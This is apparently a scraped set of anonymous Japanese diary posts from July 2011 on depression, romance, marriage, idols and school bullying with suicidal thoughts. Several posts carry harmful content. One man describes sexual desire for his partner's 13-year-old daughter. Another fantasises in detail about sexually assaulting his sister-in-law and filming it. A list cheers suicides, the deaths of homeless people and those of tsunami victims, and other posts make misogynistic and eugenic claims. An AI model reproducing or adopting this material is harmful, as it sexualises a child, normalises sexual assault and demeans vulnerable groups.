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2011.07.31

「俺、働いてるよ。」(6)

「俺、働いてるよ。」

20歳過ぎの時にうつ病と診断され、それから10年くらいうつ病とおつきあいをしてきている。せっかく入った大学も、通い続ける気力が出ずにしかたなく中退。働くのも不定期のバイトをちょくちょく入れるという程度。うつ病を抱える人ならわかると思うけれど、調子がいいときしか働いたりできないから定期的には働けない。毎日実家に引きこもり、まるまる1ヶ月一歩も外に出なかったこともあった。ストレスがたまったら物にあたるしかなかった。だからうちの家は壁も家具もボロボロ。

4年くらい前、少し状態が改善したから働こうと思った。ハローワークに行ったけれど、自分が希望する仕事はすべて大卒を求めている。中退の私には応募すらできない。そこで、勉強だけは自信があったから公務員試験を受けようと思った(公務員は学歴面では受験資格なし)。そして頑張って1年間勉強して筆記試験には合格。でもその後の面接で落とされた。それもそのはず。勉強のストレスでまた精神の状態が悪くなり、薬をたくさん飲んで泥酔みたいな状態になって面接を受けたから。公務員には年齢制限があるから、そのときの自分の年齢も考え、一度だけのチャレンジにすると決めていた。こうして公務員受験生時代を終える。

公務員試験で法律の勉強に自信を持った私は、次に司法書士を目指した。今度は大型資格。10年かかって合格する人もいる。そういう世界。1年半、ちょくちょく休んだりしながらも予備校に通った。でもこっちも結果的には失敗。長期間の受験生生活に耐えられなかった。勉強の効率がどんどん落ちていく。やっぱり精神が持たなかったのだ。

でも今年になって変化が訪れた。急に物事がうまく回り始めたのだ。バイトでも探そうと思ってプチ就職活動のような物を始めたんだけれど、なぜかフルタイムの仕事と出会ってしまった。今までフルタイムでなんて働いたことなかったし、バイトですら一番最後が5年くらい前。だから自信はなかった。「3日で辞めてしまってもしかたないかな」って思って始めてみたら、続くんだ。もう始めて3ヶ月くらいになる。プライベートでもこの歳で始めて彼女ができた(!)。

朝から夜までずっとパジャマ。友人と遊びに行く約束をしても精神状態の悪化でキャンセルもしばしば。そんな私が今はスーツに身を包み、朝から満員電車に揺られて会社に通ってる。初めての社会人だからもちろん仕事はスムーズができてるとはお世辞にも言えない。けれど、他人から見たら普通に会社勤めをしているどこにでもいるサラリーマンに見えるだろう。うつに苦しみながら「普通の人になる」ことにどれだけ憧れたことか。今やっと、あこがれの「普通」になれたのだ。

物事が急にうまく回り始める時ってあるんだと思う。もちろんこれが「偶然」だなんて言わない。こうなるために努力は続けてきた。でも何一つうまくいかなかったんだ。資格スクールに通った経験も10くらいある気がする。でもそのすべてが2、3回しか続かなかったし、ひどいのになると入校試験だけ受けて入学辞退とか。でも公務員とか、司法書士とか、少しずつステップを上ってここまでこれた。あとは友人の支えかな。(親以外に)応援してくれる人がいるっていうのはすごく大きい。

私は友人には恵まれてます。友人はたぶん生きていく上で一番大事なものだと思う。ちょっと極端な価値観かもしれないけれど、私の価値観はこうです。「もし自分にお金が全くなくたって、世話してくれる友人がいれば生きていける。でもお金だけあっても友人がいない人生なんて耐えられない」この価値観に賛同しない人もいると思う。でも賛同する人は、友人(あるいは「知り合い」)を大事にしてください。私は友人の誕生日はGoogleカレンダーに入れているから、毎年忘ることがない。そしてプレゼントを贈ったり、午前0時に「おめでとう!」ってメールしたり。何人かの友人にはひょっとしたらうざいと思われてるかもしれない。でもそれでもいんです。大事にしてるっていう気持ちはいつか伝わるんじゃないかなと思ってます。他人を愛する気持ちはきっと自分に返ってきます。「情けは人のためならず」と同じですね。

働いてないことが恥ずかしくて出られなかった高校時代の同窓会にも、今年は胸を張って参加してこようと思います。楽しんできたいです。

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5分で分かればIQ150(8)

5分で分かればIQ150

ある家族が妻の実家に遊びに行くために田舎までのバスに乗っていた。

山のふもとあたりまできたときに、子供が「おなかへった」とだだをこね始めたので、しょうがなく途中のバス停で降りて近くの定食屋で食事をすることにした。

食事が終わり定食屋に設置されているテレビをふと見ると、さっきまで家族が乗っていたバスが落石事故で乗員全員死亡というニュースが流れていた。

そのニュースを見た妻は、「あのバスを降りなければよかった…」と呟いた。

それを聞いた夫は、「何を馬鹿なことを言っているんだ!」と怒鳴ったが、

すぐに「あぁ、なるほど。確かに降りなければよかった…」と妻の意図に気づく。

なるほど。そういうことだったのか。

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誰も口にしないけどみんなが思ってることリスト(3)

誰も口にしないけどみんなが思ってることリスト

  • 日本は人口が多すぎだから自殺者がもっと増えてほしいなあと思っている
  • 女の言う禿げてる男がカッコイイというのは建前
  • 弱者が死ぬのはかなりどうでもいい
  • ホームレスとか汚いから死んでほしい
  • 格差は素晴らしい
  • ぶっちゃけ311で東北の土人が津波に巻き込まれてメシウマ
  • 他人にカネを使わせて、自分は蓄財する
  • 他人の命なんぞ自分の命を守る盾にしか過ぎない。放射能汚染の食物を食わせるモルモット
  • 高卒って非人じゃないとなれない

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失恋(8)

失恋

失恋をした。

というか失恋の舞台にすら上がれなかった。

単純に好きな人から嫌われた。

約10ヶ月経過してもまだ忘れられなくて思わずメールした。

1通目

一昨日

個人名以外はそのまま転載。

こんにちは o(^-^)o

今度、映画パイレーツオブカリビアンを見に行きませんか?

●●さんの大好きなペネロペクルスが出てるよ

結果は無視された。

2通目

昨日

僕のことがまだ嫌いなのかな…

(;ω;)

あれから成長したんだよ。

相手の立場になって考えることができるようになったし、思いやりも持てるようになったんだよ

だから絶対に楽しいよ

結果はまた無視。

脈が無いことやダメモトなのは最初から分かっていたんだけど。

3通目

今から送信予定

お返事がもらえないということは、僕の事がまだ嫌いなのだろうと思います。

 それにも関わらず2日続けて迷惑なメールをしてしまい、ごめんなさい。

 残念ですが、●●さんは僕の事が嫌いのようなので、もうこのメールを最後に連絡をするのを最後にします。

 電話番号、メールアドレスも消します。

 きっと●●さんは自分の事も忘れてほしいと思っていると思います。●●さんの事も忘れます。

 ただ最後に僕の嘘偽りのない本音をどうか聞いてやってください。

 数ヶ月もの間何も連絡も無く、今回急に連絡したのは、本当はもっと前に連絡したかったんだけど、以前僕が就職する気が無いと言っていたことを思 い出

し、正社員で就職するまでは会うことはおろか、連絡さえもしないでおこうと

思ったからです。じゃないと口だけになってしまうので。

 あと、当時から僕の事が嫌いだったみたいで、そんな時に何を言っても逆効果と思って。時間が経てば少しは考え直してくれるだろうと思ったからで す。

 本当はそんなこと無いんだよ、就職する気はあったよ。本当はマジメなんだ

よっていうことをどうしても言いたくて。

 僕の態度や考え方が嫌いって言ってたことがあったけど、それにも全部訳が

あって。

 意見や会話等をあえて否定して対立した構図を作った方が盛り上がるかなと

思って‥

 何を言ってもわからないって言ってたけど、言ってくれれば全部必ず直せた

よって。

 一生僕のことが嫌いでいいけど、せめて誤解だけはしてほしくなくて。

 信じられないかもしれないけど、●●さんを傷つけようと思ったことは1度たりともありませんでした。

 どうしたら●●さんが喜んでくれるのかしか頭にありませんでした。 

それだけはどうか信じてやって下さい。

●●●の思い出をどうか嫌いにならないで下さい。悪いのは全部僕です。●●●に罪はありません。思い出を汚してしまい本当に申し訳ないです。

これで全てが終わり。

何で晒したのかは自分でもよく分かりません。

批評してほしかったのかもしれません。

辛い思いを1人で抱えきれなくなって、晒すことによってその気持ちを分散したつもりでいたかったのかもしれません。

慰めてほしかったのかもしれません。

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美少女中学生との奇妙な同居生活で気が狂いそうな俺(7)

美少女中学生との奇妙な同居生活で気が狂いそうな俺

書いてどうなるものでもないが、どこかに書かないと気が狂いそうなので書いとく。

俺は2か月前から付き合ってた女とその娘と奇妙な同居生活を始めた。結婚前提みたいなものだし、まあ状況的にはすでに結婚しているようなものだとも言えるが、籍は入れてないし当面入れる予定もない。

俺は40代半ば。女は5つ下。2人とも1回目の結婚は失敗しているし、いい歳だ。だからお互い結構サバサバしてて、付き合ってても楽だし、下らないことで喧嘩とか疲れるようなことはしない。燃え上がるような若者の恋愛とはちょっと違うが、これはこれで居心地のいいものだ。

問題は娘である。

複雑な家庭環境なのを苦にする様子もなく、明るい、いい子なのだが、まだ中学1年の子供のくせに妙に色っぽいのだ。風呂上がりの薄着姿とか、無防備な寝間着姿を見る度、いい歳したオッサンが少しずつ狂っていく。

女の前の旦那は外人で、娘はいわゆるハーフなのだが、西洋人の血が混じるだけで、こんなに違うのかというくらい周りの子と比べると大人びている。

芸能人で言うと、ヒロコグレース(http://www.youtube.com/watch?v=ai4nZ1TDuFM)に似てるのかな(例えが古くて申し訳ない)。とにかく大人びているうえに美少女である。

娘がふとした拍子に見せる胸の谷間とか、細くて長い太ももに、外面は冷静を装いつつも、頭の中では欲情してしまっている自分が怖い。

いや、本当のところをいうと、初めて風呂上がり薄着姿の娘を見たとき、我慢できなくて数年ぶりにオナニーした。その後も何回か、娘がかがんだ時に見えた胸の谷間を頭に焼き付けて、トイレに駆け込んでオナニーした。

こんなことを書くと変態だと思われそうだが、娘の胸のサイズが気になって夜も眠れなくなって、トイレ行くフリして洗濯物置き場を漁ってブラジャー探したこともある。70のCカップだった。

そんな大人びてる美少女が、学校でモテないはずがない。

母親と娘でよく恋バナしてるのだが、聞き耳を立てていると、どうやら毎週のように告白されているようだ。彼女がいる中3の先輩からも告白されて、学校で大きな揉め事に発展してるような話もしていた。俺は母親と恋バナなんて考えられなかったが、まあ最近の女子中学生はこんなものなのかもしれない。

これはこれで、ある種ほほえましい話かも知れないが、いつの間にか娘の恋の行方が気になってる自分に恐ろしくなる。いつか、娘に彼氏ができたら嫉妬してしまうのではないかと。

そもそも母親の方も、なんでこんな年頃の美少女がいるのに、俺みたいなオッサンと同居させようとするのか。多少、不思議だったが、俺がなかなか籍を入れないから娘をエサに籍をいれさせようとしているのかもしれないなと、ふと思った。

美少女とひとつ屋根の下で過ごすのは結構なことなのだが、一線を越えてしまいたい気持ちを抑えるのには、想像以上のエネルギーがいる。万が一、そんな状況になったとき、我慢できる自信がない。いや、多分、世の中のほとんどの男は我慢できないとも思う。

もっと普通の中学生みたいに、「オヤジきもい!」とか「洗濯物一緒にしないで」とか、向こうの方から一方的に毛嫌いしてくれれば、いっそ楽なのになと心の底から思う。

リアルじゃこんなこと誰にも言えないし、かといって言わないと気が狂ってしまいそうなので、雑文乱文承知で書かせていただいた。まあ、フィクションだと思って流してください。では。

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俺、結婚とか無理だよな(14)

俺、結婚とか無理だよな

こんな女と結婚しちゃならないガイドライン

http://blog.livedoor.jp/news23vip/archives/3869121.html

こんな男とは結婚するな in 既婚女性板

http://blog.livedoor.jp/news23vip/archives/3868613.html

 

タメになった。

最近は既婚者のスレを読むと、幸せな家庭にほんわかしたり、何でお前ら結婚したのよみたいな会話を見つけてナーバスになったりしてる、当方27歳男性。大卒後即就職して今社会人5年目

 

こんな男とは結婚するな!みたいなのはあんまり当てはまらないタイプ。

特撮オタクで仮面ライダーのオモチャ集めてるのは、致命的な人には致命的かもしれんが…。いいじゃん。

酒もタバコも賭け事も風俗もしなければ、仕事は楽しいし職場も快適だし、友人は結構いるし格闘技とサイクリングをしてるからデスクワークだけどそれなりに動ける。オタクなのは否定しないけど、職場では完全に隠せてるから社交性もある方だと思ってる。社内と社外のパイプ役もしているから交渉能力にも自信有り。

大学の頃、オタサークルじゃなくて取材系のサークルを立ち上げていて本当に良かった。

 

唐突だけど、そんな俺はもう結婚とかは諦めてる。自分と一生を共にする女性なんていないだろうな、っていう諦めがある。

今日は二ヶ月ぶりの二連休で、いつもは土日が休みなんだけどここ二ヶ月はずっと何かしらの理由があって土曜に休日出勤してた。嫌々じゃなく、仕事が好きだからこそなんだけど。

週に一度の休みはしっかりと寝て体力を確保しないといけないから、遊ぼうと思ったら二連休ないと辛い。でも、遊んでばかりだと自宅の環境が悪くなるから、遊ぼうと思ったら二週連続で二連休が無いと辛い。

そんなんだから、俺には彼女ができても構ったりできないんじゃないかなって結構思う。今までできた事がないからわからないけど。

 

俺みたいに、彼女できた事がないし、仕事をバリバリやってるから結婚できなくてもいいんじゃないかなって思ってる人は結構いるんじゃないかなって思う。

特に今、同年代でモテた事がない男は。

いや、モテた事が無いって言うと少し違うかもしれない。言い寄られた事は何度かあるんだ。職場で、バイトとかに…。

 

でも、バイトに言い寄られても無いわーって思うじゃない?

仲の良い両親のおかげで幸せな家庭、暖かい一家というものにあこがれはあるし、自分の子どもを育てたい、良い父親になりたいって思うんだけど

俺に声かけたり好意をアピールしてくる女って、みんな良い母親になれそうに無いタイプばっかり。個人的に良いカーチャンになれそうなタイプって、自力で様々な問題を解決できるタイプだと思うんだ。

俺のカーチャンは、俺と兄貴が色んな厄介ごとを起こしても適切に対処と、正当な教育的指導を行ってくれた。

知性と常識、行動力と理解力、たくましさと道徳心。そういう物を求めてるのに、人生テキトーに後先考えず生きてバイトとかで食ってる人、暴力的な夫に耐えかねてバツイチになった女とかに言い寄られても迷惑でしかない。

 

あと、子どもって両親の性質を受け継ぐものという考えはやっぱりある。

だから頭が悪い女性に子どもを産ませるっていうのは、産まれてくる子供がかわいそうだと思う。やっぱり頭がいい母親でないと。外見は太ってさえいなければどうでもいい。

高望みし過ぎなんだろうか。頭がいい事と、まともな仕事をしている事と、醜く太っていない事だけを求めているんだけど。

 

普通の男の人は、どんな感情で女性が欲しいって思ってるのかな?別れるの前提で女をつまみ食いするみたいな話をネットで聞いたりするけど、友人への裏切りみたいなのは自分の良心が許さないから無理だ。

悪い事、迷惑をかける事をすると胸が痛くなって明らかに体調が悪くなる。心の健康の為には善悪でなら善の立ち回りに徹するのが一番だ。

そして、女性を自分から誘う時、断られたり、メールを無視されたり、期待通りに事が運ばなかったりすると、心がヤな方向に揺れてしまう。そんな苦しい思いをするから、恋愛は向いてないと心の底から思う。

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ミソジニ―とか言い出す奴はクズ(2)

ミソジニ―とか言い出す奴はクズ

「女は○○(否定的な内容)だから……」って言うとすぐミソジニ―ミソジニ―騒ぐ奴が心底ウザい。

まあ「○○」が事実でない場合にはそういう評価もやむを得ないのかもしれない。

個人的には端的に誤りを指摘すればいいのであって、わざわざミソジニ―とかレッテルはって発言者を貶める必要ないと思うけどな。

でも「○○」が事実の場合にまでそういうこと言うってのはなんなんだよ。事実なら問題ねえだろうが。女のみに顕著にみられる欠点があっても、その欠点は指摘すんなってのか?

女のみに顕著に見られる欠点なんてないって?

そんなわけないだろ。それこそフェミの連中が騒ぐように家父長制とかの下で抑圧されてきた女のメンタリティが、抑圧してきた男のメンタリティと同じわけないんだから。男にも女にも、その性のみに顕著にみられる欠点はあるんだよ。

「○○」は従来の社会制度によって女に植えつけられたものであって、女は被害者なのかもしれない。

だとしても、それが「○○」を指摘してはならない理由になるのか?ならないだろ?むしろ言ってやらなきゃ直せるもんも直せないかもしれないだろうが。

「ミソジニ―」と口にする前に、「○○」が事実かどうかを考えろ。考えない奴は女の改善の機会を奪うクズだ。

ああ、念のために言っとくけど、「○○じゃない女もいる」は意味ないからな。それ言いだすと一般化した話ができなくなる。

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自分の娘ぐらいの年の女を口説こうとする男の人って結構いるらしい(5)

自分の娘ぐらいの年の女を口説こうとする男の人って結構いるらしい

友人と話してて娘ぐらいの年の女を口説こうとする男の人って結構いるんだと知った。

もう数年前のことだけど、何度かご飯をおごってくれた人におめでたいことがあったのでお礼を兼ねてお祝いの品を送ろうと思い欲しいものを聞いてみた。メールの返事は要約すると

「気持ちがほしい。自分のことを考えて選んでくれたものなら何でもうれしい。普段一緒にいてくれることで色々ともらっているんだけど、大人は貪欲だからもっとほしくなるんですよ、ふふふ」

だった。

一緒にいるも何も時々ご飯食べる程度ですが(笑)。。大人(笑)、そんなメール小娘に送るのが大人とか(笑)、と見た瞬間は大爆笑してしまったが、笑いが引いてから相手のことが気持ち悪いとしか思えなくなった。プレゼントどころかとにかく顔も見たくない状態。

その男性は私の親ぐらいの年で普段の会話は仕事に関してがほとんどで、、恋愛感情もなにもなく単なる年の離れた友人としか思ってなかった。

メールの頻度は高かったが返事しにくいのが多くてほとんど返さなかったり返しても短かったりと、勘違いされるようなことをした覚えもない。

とにかくパニックになった。

直接何かされたわけじゃなかったからその時点ではその人からの誘いは断る、その人がいそうな場所を避けるぐらいしかできなかった。

延々と避けていたらメールなどはなくなったが、その当時は本当に怖かった。

その後、ほとぼりが冷めた後で実はこういうことがあってーという話を20代の友人にしたら、親ぐらい年が離れた人から告白されたり口説かれた経験がある人が結構いた。

正直言って20以上離れてたら恋愛感情なんかない。

広い知識がある人のことをすごいと思ってたりしても、つきあいたいとかそういう感情は生まれない。そういう対象として見れない。

世の中には枯れ専という人もいるらしいけど、私は無理。

そもそもあんなきもいメールもらったら同年代でも相手が好きでも百年の恋もさめるわ。

あれ以来年が離れすぎている特定の若い子に変に絡む年上はどっか問題があるのかもしれないと勘ぐるようになってしまった。

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韓流アイドルを愛でる(5)

韓流アイドルを愛でる

今話題になっている方向とは別の方向でモヤモヤしているところがあってうまくまとまらないのだが書いてみる。

韓流というよりは中国や台湾などを含めた東アジア全般になってしまうのだが、格下の国(民族)のいたいけなアイドルを愛でるというような感覚が常につきまとうような気がして、なにかフィリピンで買春するような後ろめたさ(いや自分はやったことないので想像ですが……)というか。我ながら書いてて気持ち悪すぎるが……orzすみません。

自分の場合は世代的にビビアン・スーが好きだった。彼女の場合は極端に天然キャラで日本語もたどたどしい(どこまで演技かはさておき)というとても分かりやすい例だと思いますが、あれが日本語がほとんど完璧だったりすると魅力が薄れるような気がして。

おそらく古くはテレサ・テンやアグネス・チャンが受けたのも多かれ少なかれそういう所もあったのかなと思ったりする。(テレサ・テンのファンに激怒されそうだが……とりあえず彼女の歌の素晴らしさは置いておいて。)

すごく微妙なニュアンスなので他の国の人にこういう感覚があるのかどうかは、かなりその国に詳しくないと分からないと思うのだが、日本の場合民族的なルックスがほぼ同じである中国朝鮮方面の人らを(煩雑になるので乱暴に言いますが)まあぶっちゃけ支配した(というかしようとして負けた)という特殊な点で、白人の有色人種の国々に対する感じ方とはまたちょっと違う感じ方があるのかなとか。(白人だとエマニエル夫人みたいのが有色人種の若い男を買春するみたいなイメージ……イメージが貧しくてすみません……orz)

上で「格下の国(民族)」という乱暴な書き方をした。自分は韓国人や中国人が嫌いという感覚は一切無くて、無論民族や国に格下も格上も無いと思ってるし、これといって普段は差別感情も無いつもりなんだけど、アジアのアイドルを見る目線がどうしても上に書いたような差別的な意識がうっすらとはいえあるような気がしてモヤモヤするのです。

単純に日本人の異性のアイドルに対しても性差別的な意味でそういう嫌な感じってのはあるのかもしれないんだけど、アジアアイドルになるとさらに国とか民族的なものが付いてきてより複雑な感情になるというかんじ。気のせいで考え過ぎなのかもしれないけど……

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2011.07.30

同居中の義妹のせいでボクのちんちんは爆発しそうです(2)

同居中の義妹のせいでボクのちんちんは爆発しそうです

妻が全身裸でもピクリともしない。

でも、胸元の広い服を着ている義妹のおっぱいが4分の1見えるだけで、乳首も見えていないのに、もう居ても立ってもいられない。

義妹のおっぱいはそんな大きくはない。長身でスラっとしている。スタイルがすごく良い。

ああでも、胸元から見えるおっぱいだけで、乳首は何色かな?ピンクかな?とか妄想してしまう。

洗面台で化粧中の後ろ姿。スラっとした足。お尻。後ろからそっと胸を揉んでも嫌がらないんじゃないか?とか

お風呂に入っているとき、後からボクがそのまま入っていっても嫌がらないんじゃないか?とか

部屋の扉を開けてタンクトップ一枚で寝ている。乳首が浮き上がっている。指でヒョイとそれを持ち上げて中を見ても嫌がらないんじゃないか?とか

息子を可愛がっているときに、後ろから抱きついても嫌がらないんじゃないか?とか

料理中に後ろからそっとお尻を触っても嫌がらないんじゃないか?とか

ボクが義妹のおっぱいを揉んだら、乳首を舐めまわしたら、どれくらい感じてくれるだろう?とか

舐めまわした後、どれくらい乳首が勃起するか?とか

メイド服買ってきたら、着てくれるんじゃないか?とか

ニーソックスも履かせて絶対領域を作ろう、とか

おっぱい揉むから、メイド服は上下分かれてたほうがめくりやすいな、とか

そのまま後ろから襲いかかって、バックで入れようとか、

そうだ、ビデオも回しておかないと、とか

それでも全く嫌がらないんじゃないか?とか

おかしいな、、、なんでこの娘と結婚しなかったんだ?

この娘と結婚する可能性だって、十分あったはずだ。

妻が美しいが、性格が悪すぎる。義妹はまあきれいな方だし、性格も良い。

まあ、結婚して分かったが、妄想が一番興奮するんだ。

どんなに妻が美しくても、妄想には負ける。

こういう人間にとって、結婚は必要ないものだ。

セックスがしたいなら、青春通りにいけばそれで間に合う。

あ、でも息子は可愛い。これだけは結婚して良かったと思う。

息子と、義妹だけ居ればいい。

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幸せになりたい(2)

幸せになりたい

どうして苦しいことを認められなかったのか。

私の苦痛は私の苦痛であって他人には計れないはずでした。

だけど私は自分の苦痛を見ようとしませんでした。

小学生の頃、道徳の授業で少年兵についてのビデオを観ました。

「かわいそう」でした。

人の世と隔たれた様なアフリカの小さな村での、矮小な自由から別の異質な自由を手に入れた彼等は、かわいそうでした。

彼等は学校に行けません。

彼等は人を愛せません。

彼等は私たちと同じじゃありません。

だからかわいそうでした。

皆大体同じことを考えたと思います。

今の社会では愛や希望と同じくらいに、他人の苦痛が氾濫しています。

そして情報化のおかげで感情というよくわからないものが相対化され、値札がつくようになりました。

苦痛という感情もその一つです。

彼等の苦痛と私たちの苦痛は同じ所に並べられません。

違うのです。

単純に、彼等の苦痛が大きくて、私たちの苦痛が小さい。

周りの人も全然疑問は湧いてないようで、私もそう考えていました。

「苦しい」と言えば、

「お前より苦しい生活している人は一杯いる。」と言われ、

「死にたい」と言えば、

「お前が死にたがっている今日は、昨日死んだ奴が生きたかった明日なんだ」と言われる。

そしてそんな言葉を口にすること自体が恥ずかしく思われる様になり、中二病なんて名前が付けられる程になりました。

私は小学生の時に太っていることを理由にいじめられていました。いじめと言っても一部のクラスメイトなどに「デブ」などと言われるくらいなのでまぁ大そうなものではありませんが。はっきりとではありませんがその頃、デブでスポーツも出来ない私は全く価値の無い人間なのだと考えていたのですが、小学校高学年あたりでそのいじめはなくなりました。

理由は私の兄にありました。

私の兄は、かっこよくて、スポーツが出来て、私みたいに太っていなくて、そして、とてもユーモアのある人でした。

少し我の強い人でしたが、一緒に遊んだ時はなにかと私を笑わせてくれたのでその時の兄はとても好きでした。私はかっこよくないし、スポーツも出来ないけど、人を笑わせることなら出来るんじゃないか、と考えました。

実践してみれば簡単なことでした。

道化と化した私はクラスの人気者になりました。

その時は嬉しかったのです。

変顔をするだけで笑ってくれるし、デブと言われても開き直ればそれでまた皆笑ってくれる。ああ、自分の価値はここにあるんだなと思っていて、将来はお笑い芸人になろう、などと考えていました。

今思えばここが間違いだった、と感じています。

道化は見世物です。故に私という存在は指をさされ、馬鹿にされ、笑われるべき存在です。

そしてそのピエロは観客の嘲笑に包まれた喜びを糧に生きていくのです。

私は見世物として存在することに慣れました。

人の好奇心は底が無く、少しタガが外れれば面白いことならなんでもいい、と考えてしまいます。要するに、面白ければ私には何をしてもいい、という結論に至るのです。

私はそれを苦痛だと考えませんでした。

周りの人が笑ってくれることが喜びであり、それが快感でした。

ただ、やはり好奇心というものは一か所に止まらずに色んな方向に向くもので、自分では飽き足らず、いじめや、危ないいたずらもするようになりました。

私はそれを見ているのがとても嫌いでした。

笑うべきは私の存在であり、どんな下らない罵倒でもそれを身に受けるのは私の専売特許のはずでした。私の生きがいを横取りされたような気持になりました。

しかしその時からいらぬ疑問を抱くようになりました。

他の人はいつも私がされていることを嫌がるのです。

それは単純に、私は苦痛を喜びに変えただけであって、他人にとって苦痛はただの苦痛だったのですから。

私は本当にうれしいのか?

中学生になり、地元の学校だったので小学校のほとんどの生徒が同じ中学校に入学しました。思春期ですのでこの頃から自分の体型にコンプレックスをもつようになり、友達に部活の入部を勧められて、これは良い機会だと思い、サッカー部に入りました。

相変わらず私を知っている人達は私を私として扱います。

そうするとやはり、私を知らない人達も私を私として扱うのです。

わたしは結論しました。

自分はいじめられていると。

部活に入ったお陰で自分でも見違える程痩せることが出来ました。しかし二年生になってすぐやめてしまいました。原因はいじめもありますが、何より私はスポーツのセンスが無いようで、後輩に馬鹿にされるのがこわくてやめて、というのが一番でした。

こう書いていると私はいつも教室の隅に追いやられているような生徒に感じると思いますが、私は交友関係が広く、人気もそこそこありました。情けないことに、私こそ周りの人達と同様に私を私として存在させていたのです。

何故なら、私はその私しか知らなかったからです。それに、今の私をやめてしまえば私の価値はどうなるのだろう、何か残るのだろうか、と考えていました。

中学生にもなると、いたずらなどを楽しむより、好奇心の側面としての、暴力的な行動が盛んになります。それで中学二、三年生では私はサンドバックでした。どこかで会う度に殴られるようになり、私のクラスでは暴力をけしかけるような人はいなかったので、教室の外へ出るのが恐くなりました。

勿論初めのころは抵抗していました。しかし、毎日、毎時間と続く暴力と、自分が未だに道化でいるという立場のせいで怒りを露わにすることができないという下卑た矜持と、そして何より、彼等の私に対する態度に絶望しました。

私が少しふてくされると、彼等は「ごめん」と言ってくれました。しかしすぐにまた同じことをするのです。その度に彼等は謝り、謝罪という行為の中に含まれているであろう自省や克己を蔑ろにして、5分前の誓約を堂々と捨てるのです。

一度、本気で怒ったことがありました。その日は珍しく喧嘩別れになったのですが、翌日にその人物は私に少し沈鬱な面持ちで謝罪してきました。私はその言葉を信じていました。しかしその翌日には何も変わってない、彼等と私の関係が在るだけで、自分が激怒した様子を真似された時は、名状しがたい、確かな殺意と、他人に対する恐怖と、途方もない呆れがないまぜになった感情で吐きそうになりました。その時、自分は人に怒ることはやめて、諦念が纏わりつくようになりました。

ただの暴力は一部の人間には大変興が乗るようですが、大半の人は一歩引くのが普通であって、いくらなんでも、やり過ぎではないのか、何故こんなことをするのかと聞くことにしました。この頃は最早彼等の前での私が思う私はただのいじめられっ子でした。

彼等いわく「お前を見ているとむかつくから」とのことでした。

なるほど私を見ていると苛立つのですかそうですか、じゃあ私はどうすればいいのだろうか、私という存在がむかつくのですかじゃあ私が消えればいいのですね。

彼等は私を少しも憎んでいないというのは知っていました。週末になれば遊んだりもするし、私を殴る以外にもコミュニケーションをとろうとするからです。一方私は殺意を持っていましたが、彼等に対する好意も持ち合わせていました。何故なら、暴力的じゃない彼等は面白くて、自分と対話してくれるからです。そして彼等は私をいじめていると考えていないのです。

限界はどうしても来てしまうものです。三年生頃には、家に帰って布団の中で泣くことが多くなりました。何故自分がこんな目に、自分は悪くない、やりかえそう、殺そう、という感情が渦巻くのですが、不思議なことに翌朝になると何事もなかったかの様にすっきりとしてしまうのです。一人で絶望を反芻する度に決意し、忘れる、ということを繰り返していました。同時に、私は学生生活を楽しんでいました。私でいることを楽しんでいたのです。

そして学校で面白い奴でいる私と家で惨めに布団にくるまって泣いている私とで、完全に乖離しました。

しかし私は希望も持っていました。自分の様子が変だと気付いた母親に尋ねられ、私は「馬鹿で嫌なやつがいる」とだけ言いました。すると母は、高校生にもなればそんなやつはいなくなる、と言ったので、私はなるほどと思い、多少の虚脱感と戦いながら勉強に励みました。高校生になれば自分は変われる、と信じながら。

勉強のお陰で、それなりの、県内で指五本のうちに入るか入らないかというレベルの高校に入学出来ました。少し離れたところにあり、何より自分を日常的に殴っていた人達はその高校に全くいなかったのでとても喜びました。

人格は変えることができませんが、キャラのようなものなら簡単に変えられると思っていました。しかし私はそこでも私を私として存在させたのです。

何故そんなことをするのか、私はいつまでも子供ではなく、自分の思考、行動の原因がわかるような年齢になりました。

かわいそうな自分が好きでしょうがない。

私なりの結論でした。

そしてそれは正鵠を得ていました。

教科書を破られたり、靴を捨てられたり、落書きされたり、チョークを食べさせられたり。一日そんなことが無いと、何故か残念な気持ちになるのです。そして、私が望んだ苦痛を与えられると、不快な感情と同時に、安心できるのです。高校生にもなって、いじめられている悲劇的な私が好きなのです。皆から同情の目線で見られている私が好きで好きでしょうがないのです。しかし絶望もします。私は変わることができなかった。私は悪くないのに惨めなままだ、それは他人が無知蒙昧であるからだと怨み言が頭に並びます。

この頃、自殺願望がありました。しかし実際は死にたくなどありませんでした。何故なら私はまた、今の私を楽しんでいたのです。

高校三年生頃になると、受験シーズンとなり皆が勉強に励むのですが、私は中学生の頃の 様に大学に希望を持つことが出来ませんでした。それ以前に、普段の勉強からしてやる気になりませんでした。たまにやる気になって休み時間などに勉強していても、クラスの人が辞書を投げてきたり教科書を濡らされたりして勉強になりませんでした。

全てが嫌でした。

それなのにクラス委員などに就いている自分が嫌でした。

苦痛を期待している自分が嫌でした。

惨めに耐えているだけの自分が嫌でした。

友達と楽しく会話している自分が嫌でした。

こんな恥ずかしいことで頭がいっぱいになっている自分が嫌でした。

死にたい、とか、何故生きているのか、とかは子供が持つ感情であり、十八にもなった男子が持つべき感情じゃないのです。何より私は毎日学校に通えて、屋根のある家で寝食が出来て、家族がいるので、とても恵まれた人生を送っているのです。

私より不幸な人は世界中にいっぱいいるのです。私は、私の苦痛を認めることなど許しは出来ないのです。

二律背反の、板挟みの状態がずっと続きました。

学校で笑います。家に帰って泣きます。猿の様に自慰をします。寝ます。さっぱりして学校に行きます。この頃は寝ることと自慰行為が喜びでした。

私はそれでも狂えない。皆の前では面白いやつで、先生の前では立派なクラス委員です。おかしいはずなんです。頭が焼き切れるはずなんです。

それでも私は理性的です。生きているのです。

しかし生きることを望みたくないのです。私が悲劇的であるためには。

生きることも、死ぬことも、選びとらずに責任を放棄したのです。

結局これが私の思春期の全てでした。

大学生になりました。

冬に勉強をそこそこにして、なんとか国立の大学に入り、親の前での面子を保たせました。

大学は県外で、更に海を渡ったので、実家に帰るにも一苦労なところまで来ました。と言っても別にその大学に行きたかった訳でなく、県外であり、かつ自分の学力で行ける範疇の大学を選んだだけでした。やりたいことも無ければ、大学生の遊びを謳歌したいわけではなく、またしても選ぶことをやめたのでこの結果になったということでした。

大学生活の一番初めの感想は、喪失感でした。

大学生にもなり、皆、落ち着いた行動をしている。それに慣れていなかったので戸惑ったのと同時に、自分の知っている自分がいないことに気付きました。

最早かわいそうな私はいないのです。

かわいそうな私を求める人はいないのです。

随分と薄っぺらい絶望が全身を覆います。

大学では色んな人が色んなとこから来ます。

しかし確実に私と違うところがありました。

彼等は正常でした。

彼等には目的があり、良心があり、喜びがあり、夢があるのです。

彼等は目を輝かせて自分の将来を語るのです。

彼等は何の疑問を持たず勉学に励むのです。

